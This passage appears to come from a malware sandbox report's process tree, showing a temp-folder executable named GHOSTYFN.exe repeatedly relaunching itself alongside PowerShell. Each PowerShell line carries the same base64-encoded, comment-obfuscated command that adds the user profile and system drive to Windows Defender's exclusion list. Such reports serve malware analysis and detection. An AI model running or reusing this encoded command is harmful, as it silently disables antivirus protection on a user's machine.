        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        83⤵
        
        PID:7496
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        83⤵
        
        PID:4724
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        84⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        84⤵
        
        PID:3032
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        85⤵
        
        PID:7540
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        85⤵
        
        PID:7380
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        86⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        86⤵
        
        PID:6812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        87⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        87⤵
        
        PID:5932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        88⤵
        
        PID:6444
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        88⤵
        
        PID:7340
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        89⤵
        
        PID:6168
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        89⤵
        
        PID:5212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        90⤵
        
        PID:7228
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        90⤵
        
        PID:6628
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        91⤵
        
        PID:6784
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        91⤵
        
        PID:4528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        92⤵
        
        PID:7624
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        92⤵
        
        PID:6236
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        93⤵
        
        PID:8108
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        93⤵
        
        PID:8344
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        94⤵
        
        PID:8256
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        94⤵
        
        PID:2860
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        95⤵
        
        PID:6568
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        95⤵
        
        PID:7316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        96⤵
        
        PID:8940
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        96⤵
        
        PID:9304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        97⤵
        
        PID:6836
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        97⤵
        
        PID:8492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        98⤵
        
        PID:8628
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        98⤵
        
        PID:5380
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        99⤵
        
        PID:8456
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        99⤵
        
        PID:8520
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        100⤵
        
        PID:9096
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        100⤵
        
        PID:8944
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        101⤵
        
        PID:8064
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        101⤵
        
        PID:1924
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        102⤵
        
        PID:9308
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        102⤵
        
        PID:8196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        103⤵
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        103⤵
        
        PID:9084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        104⤵
        
        PID:9632
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        104⤵
        
        PID:6516
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        105⤵
        
        PID:8168
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        105⤵
        
        PID:9112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        106⤵
        
        PID:7904
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        106⤵
        
        PID:360
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        107⤵
        
        PID:1644
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        107⤵
        
        PID:9604
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        108⤵
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        108⤵
        
        PID:9992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        109⤵
        
        PID:8752
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        109⤵
        
        PID:9808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        110⤵
        
        PID:5000
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        110⤵
        
        PID:6524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        111⤵
        
        PID:9236
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        111⤵
        
        PID:2920
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        112⤵
        
        PID:10064
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        112⤵
        
        PID:7808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        113⤵
        
        PID:3252
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        113⤵
        
        PID:7396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        114⤵
        
        PID:2080
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        114⤵
        
        PID:8016
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
